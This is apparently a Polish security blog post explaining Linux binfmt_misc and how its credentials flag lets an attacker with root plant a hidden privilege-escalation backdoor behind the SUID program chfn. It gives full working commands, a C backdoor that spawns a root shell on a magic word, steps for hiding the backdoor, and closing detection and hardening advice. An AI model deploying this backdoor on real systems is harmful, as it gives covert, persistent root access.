NFsec Logo

Ukryty mechanizm eskalacji uprawnień za pomocą różnych formatów binarnych

Wczoraj w Bezpieczeństwo, Pen Test Brak komentarzy.  (artykuł nr 939, ilość słów: 1630)

R

óżne formaty binarne (ang. Miscellaneous Binary Format) to mechanizm jądra Linuksa, który umożliwia systemowi rozpoznawanie i uruchamianie dowolnych formatów plików wykonywalnych za pomocą określonych programów w przestrzeni użytkownika, takich jak: interpretery, emulatory lub maszyny wirtualne. Głównym celem BINFMT_MISC jest rozszerzenie zdolności jądra do interpretowania, jak należy uruchomić dany plik, który nie jest natywnym formatem ELF (ang. Executable and Linkable Format) Linuksa. Użytkownik (z uprawnieniami administratora) może zarejestrować nowy format binarny w określonej ścieżce wirtualnego systemu plików procfs. Rejestracja polega na zdefiniowaniu kryteriów dopasowania plików, które mogą opierać się na: magicznych bajtach (ang. magic bytes) – sekwencji bajtów na początku pliku, które są charakterystyczne dla danego formatu; rozszerzeniu nazwy pliku – na przykład: .py, .sh, .pl itd. W ten sposób użytkownik może po prostu wpisać nazwę pliku, np. skrypt.py, a jądro automatycznie rozpozna jego format i przekaże go do odpowiedniego interpretera, tak jakby był natywnym plikiem wykonywalnym Linuksa (a skrypt nie musi nawet posiadać wewnątrz siebie definicji shebang).

Rejestracja za pomocą rozszerzenia:

Wykonajmy prosty przykład zastosowania dla wszystkich skryptów napisanych w języku Python. Obsługa binfmt jest w jądrze Linuksa od wersji 2.1.43 (czerwiec 1997 roku). Na początku możemy sprawdzić, czy jego moduł jest załadowany w naszym systemie oraz zamontowana jest ścieżka dostępowa do konfiguracji:

root@darkstar:~# grep 'BINFMT_MISC' /boot/config-`uname -r`
CONFIG_BINFMT_MISC=m

root@darkstar:~# lsmod | grep binfmt
binfmt_misc            24576  1

root@darkstar:~# mount | grep binfmt
binfmt_misc on /proc/sys/fs/binfmt_misc type binfmt_misc (rw,nosuid,nodev,noexec,relatime)

root@darkstar:~# cat /proc/sys/fs/binfmt_misc/status
enabled

Przed rejestracją stworzymy prosty skrypt, który nie będzie posiadał shebang, więc system nie będzie w stanie dopasować poprawnego interpretera do jego wykonania:

root@darkstar:~# echo 'print("Hello Moto")' > test.py
root@darkstar:~# chmod +x test.py
root@darkstar:~# ./test.py
./test.py: line 1: syntax error near unexpected token `"Hello Moto"'
./test.py: line 1: `print("Hello Moto")'

Jeśli teraz zarejestrujemy rozszerzenie .py za pomocą funkcji jądra binfmt, będziemy mogli uruchomić nasz mały skrypt tak, jak uruchamialibyśmy skrypt powłoki, tj. ./test.py. W tym celu dodamy specjalny wpis do pliku rejestru, który stanowi interfejs konfiguracyjny – dzięki niemu nowe formaty binarne będą zarejestrowane w jądrze:

echo ":python:E::py::/usr/bin/python3:" > /proc/sys/fs/binfmt_misc/register
root@darkstar:~# ls -al /proc/sys/fs/binfmt_misc/
total 0
drwxr-xr-x 2 root root 0 Nov  3 19:13 .
dr-xr-xr-x 1 root root 0 Nov  3 18:36 ..
-rw-r--r-- 1 root root 0 Nov  3 21:26 python
--w------- 1 root root 0 Nov  3 21:26 register
-rw-r--r-- 1 root root 0 Nov  3 18:36 status

root@darkstar:~# cat /proc/sys/fs/binfmt_misc/python
enabled
interpreter /usr/bin/python3
flags:
extension .py

root@darkstar:~# ./test.py
Hello Moto

Możemy też wyrejestrować rozszerzenie (rejestracja znika również po restarcie systemu), aby przywrócić poprzedni stan:

root@darkstar:~# echo -1 > /proc/sys/fs/binfmt_misc/python

lub je wyłączyć:

root@darkstar:~# echo 0 > /proc/sys/fs/binfmt_misc/python

root@darkstar:~# ./test.py
./test.py: line 1: syntax error near unexpected token `"Hello Moto"'
./test.py: line 1: `print("Hello Moto")'

Rejestracja za pomocą magicznych bajtów:

Magiczne bajty (ang. magic bytes), znane również jako sygnatura pliku (ang. file signature lub magic number), to charakterystyczna sekwencja bajtów umieszczona na samym początku pliku. Ich podstawowym celem jest identyfikacja formatu pliku (jego typu) niezależnie od rozszerzenia nazwy pliku. Dlatego można powiedzieć, że magiczne bajty stanowią swoisty „kod identyfikacyjny” dla systemów operacyjnych, pozwalając im szybko i niezawodnie określić, jak należy zinterpretować i przetworzyć dany plik binarny. Bazując na naszym poprzednim przykładzie – dorzućmy teraz do naszego skryptu taki nagłówek:

root@darkstar:~# echo '#31337' > test.py
root@darkstar:~# echo 'print("Hello Moto")' >> test.py
root@darkstar:~# chmod +x test.py
root@darkstar:~# cat test.py
#31337
print("Hello Moto")

root@darkstar:~# ./test.py
./test.py: line 2: syntax error near unexpected token `"Hello Moto"'
./test.py: line 2: `print("Hello Moto")'

Pobierzmy jego nagłówek w formacie szesnastkowym (heksadecymalnym):

root@darkstar:~# head -1 test.py | xxd -p | sed 's/\(..\)/\\x\1/g'
\x23\x33\x31\x33\x33\x37\x0a

root@darkstar:~# printf '\x23\x33\x31\x33\x33\x37\x0a'
#31337

Zarejestrujmy sekwencję magicznych bajtów, aby tego typu skrypty były uruchamiana przez interpreter języka Python:

echo ':python:M::\x23\x33\x31\x33\x33\x37\x0a::/usr/bin/python3:' > /proc/sys/fs/binfmt_misc/register
root@darkstar:~# cat /proc/sys/fs/binfmt_misc/python
enabled
interpreter /usr/bin/python3
flags:
offset 0
magic 2333313333370a

root@darkstar:~# ./test.py
Hello Moto

Ukryty mechanizm persystencji i eskalacji uprawnień w jednym:

W sierpniu 2004 roku w wersji jądra 2.6.8 do różnych formatów binarnych dodano nową funkcję „specjalnych flag”. Jedna z tych flag – CCredentials umożliwia zachowanie uprawnień. Oznacza to, że interpreter pliku zostanie uruchomiony z prawami administratora, gdy plik binarny z bitem suid i właścicielem „root” zostanie zarejestrowany i uruchomiony za pomocą binfmt. Wprowadzając takie rozwiązanie już wtedy wiadomo było, że może to stanowić problem:

The case that concerns me is: unprivileged interpreter and a privileged
binary. One can use binfmt_misc to execute untrusted code (interpreter) with
elevated privileges. One could argue that all binfmt_misc interpreters are
trusted, because only root can register them. But that’s a change from the
traditional behavior of binfmt_misc (and binfmt_script).

Niestety do dzisiaj nie wprowadzono żadnej poprawki dla tego mechanizmu – wskazano tylko, aby administrator systemu był świadomy takiej funkcji:

This feature should be used with care, since the interpreter will have root
permissions when running a setuid binary owned by root.
	
Please note -
	
- Only root can register an interpreter with binfmt_misc.  The feature is
  documented and the administrator is advised to handle it with care
	
- The new feature is enabled only with a special flag in the registration
  string.  When this flag is not specified the current behavior of
  binfmt_misc is kept
	
- This is the only 'right' way for an interpreter to know the correct
  AT_SECURE value for the interpreted binary

W praktyce oznacza to, że jeśli atakujący zdobył raz uprawnienia administratora na naszym systemie i chce je utrzymać w tajemnicy – to jest to doskonały mechanizm, aby ukryć możliwość eskalacji uprawnień bez wzbudzania większej uwagii. Wystarczy znaleźć w systemie istniejący plik z bitem SUID i zarejestrować dla niego spreparowany interpreter, który uruchomi się z prawami administratora. Zacznijmy od znalezienia odpowiedniego pliku binarnego z bitem SUID:

root@darkstar:~# find / -perm -4000 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/bin/mount
/usr/bin/fusermount3
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/newgrp
/usr/bin/su
/usr/bin/sudo
/usr/bin/passwd

Naszym wyborem może być plik chfn, który dzisiaj jest bardzo rzadko używany. Służy on do zmiany danych użytkownika, które są przechowywane w polu GECOS pliku /etc/passwd. Jest on obecny na wielu dystrybucjach systemu Linux, ponieważ jest częścią standardowego pakietu shadow lub util-linux (udostępniającego podstawowe narzędzia do zarządzania użytkownikami). Program ten był aktywnie używany, za czasów gdy usługa fingerd była domyślnie instalowana na systemach *nix – dzisiaj zapewnia jedynie wsteczną kompatybilność ze starszymi skryptami i systemami, które nadal korzystają z tradycyjnych narzędzi do zarządzania kontami w systemie. Pobierzmy zatem magiczne bajty i zarejestrujmy interpreter dla programu chfn:

root@darkstar:~# head -1 /usr/bin/chfn | xxd -p -l 64 | sed 's/\(..\)/\\x\1/g'
\x7f\x45\x4c\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x3e\x00\x01\x00\x00
\x00\x50\x70\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x98\x14\x01\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x40\x00\x38\x00\x0d\x00\x40\x00\x1f\x00\x1e\x00
echo ':iddqd:M::\x7f\...\x00::/usr/share/python3/runtime:C' > \
/proc/sys/fs/binfmt_misc/register
root@darkstar:~# cat /proc/sys/fs/binfmt_misc/iddqd
enabled
interpreter /usr/share/python3/runtime
flags: OC
offset 0
magic 7f454c4602010100000000000000000003...981401000000000000000000400038000d0040001f001e00

Od teraz wywołanie programu: /usr/bin/chfn będzie „przechodziło” przez interpreter: /usr/share/python3/runtime (jako jego argument). Pozostaje nam stworzyć prosty plik binarny, który nie będzie zawierał żadnego szkodliwego kodu, a ustawi tylko rzeczywisty, efektywny i zapisany ID użytkownika (RUID, EUID, SUID) na wartość „0”, czyli root. W ten sposób uruchamiając nasz interpreter w kontekście, w którym ma ustawiony bit SUID (dzięki chfn!) skutecznie zmienimy uprawnienia na pełne uprawnienia administratora przed uruchomieniem powłoki. Wówczas uruchomimy powłokę (/bin/bash) z parametrem „-p„, co spowoduje, że nie zrzuci ona uprawnień i będzie działać z efektywnym ID użytkownika, co w tym przypadku oznacza wcześniej ustawione uprawnienia administratora (root):

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

int main(int argc, char *argv[]) {
    char *const paramList[] = {"/bin/bash", "-p", NULL};
    const int id = 0;
    const char *MAGIC_WORD = "IDDQD";
    if (argc >= 3 && strcmp(argv[2], MAGIC_WORD) == 0) {
        setresuid(id, id, id);
        execve(paramList[0], paramList, NULL);
    }
    return EXIT_SUCCESS;
}

Przy okazji wprowadziliśmy jeszcze jedną rzecz. Program chfn musi być uruchomiony z argumentem IDDQD – w przeciwnym wypadku nasz interpreter po prostu zakończy swoje działanie. Czas na kompilację i instalację:

root@darkstar:~# gcc -o runtime runtime.c
root@darkstar:~# mv runtime /usr/share/python3/runtime
root@darkstar:~# rm runtime.c
root@darkstar:~# ls -al /usr/share/python3/runtime
-rwxr-xr-x 1 root root 16096 Nov  4 13:57 /usr/share/python3/runtime

Teraz możemy sprawdzić jego działanie:

agresor@darkstar:~$ chfn
agresor@darkstar:~$ chfn iddqd
agresor@darkstar:~$ chfn IDDQD
To run a command as administrator (user "root"), use "sudo ".
See "man sudo_root" for details.

root@darkstar:/home/agresor# id
uid=0(root) gid=1000(agresor) groups=1000(agresor)
root@darkstar:/home/agresor# sudo su -
root@darkstar:~# id
uid=0(root) gid=0(root) groups=0(root)

Podsumowanie:

Jak widzimy możemy stworzyć prosty, aczkolwiek nietypowy mechanizm eskalacji uprawnień bazujący na już dostępnych komponentach systemu. W dodatku przeszukiwanie systemu pod kątem nowych plików SUID nie wyłapie naszego interpretera. W podobny sposób możemy stworzyć mechanizm persystencji, gdzie często wykonywane polecenie (dodane do systemowego skryptu w cron) będzie uruchamiać nasz interpreter, a ten „dzwonić do domu”. W obydwu przypadkach możemy też stworzyć bardziej zaawansowany program, który będzie miał w sobie kod oryginalnego polecenia i uruchamiał je, gdy „magiczne” słowo nie zostanie podane jako argument lub parametr. Możemy też opracować logikę, która będzie: uruchamiała funkcję eskalacji, gdy warunek magicznego słowa zostanie spełniony; wyłączała regułę binfmt (poprzez zapis wartości „0” do pliku), gdy warunek magicznego słowa nie zostanie spełniony; wykonywała oryginalne polecenie; przywracała działanie reguły (poprzez zapis wartości „1” do pliku). W ten sposób nie wzbudzimy podejrzeń, że dane polecenie za każdym razem kończy swoje działanie bez uruchomienia.

Od strony ochrony powinniśmy monitorować ścieżkę /proc/sys/fs/binfmt_misc/ pod kątem rejestrowania nowych lub zmiany istniejących formatów binarnych. Szczególnie tych zawierających flagę „C” lub posiadających efemeryczne lokalizacje dla interpreterów (np. /tmp, /dev/shm). Warto zauważyć, że każdy zarejestrowany format jest tymczasowy, co oznacza, że po ponownym uruchomieniu systemu plik rejestracyjny zniknie. Wobec tego, jeśli atakujący chce utrzymać długoterminowy dostęp za pomocą tej techniki, musi skonfigurować inny mechanizm wykonujący rejestrację interpretera, co może zdradzić jego obecność. Jeśli nasz system nie musi rejestrować dodatkowych formatów binarnych możemy po prostu wyłączyć tę funkcjonalność poprzez polecenie:

echo 0 > /proc/sys/fs/binfmt_misc/status

i prowadzić monitoring próby jej włączenia. Możemy też iść o krok dalej i wyłączyć moduł w jądrze blokując również jego ładowanie po starcie systemu:

echo 'blacklist binfmt_misc' > /etc/modprobe.d/blacklist-binfmt.conf

Więcej informacji: Kernel Support for miscellaneous Binary Formats (binfmt_misc), On BINFMT_MISC, What is SUID? Shadow SUID for Privilege Persistence: Part 1, SUID Linux: Shadow SUID for Privilege Persistence: Part 2, Today I learned: binfmt_misc, binfmt_rootkit, shadowsuid

Kategorie K a t e g o r i e : Bezpieczeństwo, Pen Test

Tagi T a g i : , , , , , ,

Brak nowszych postów

Komentowanie tego wpisu jest zablokowane.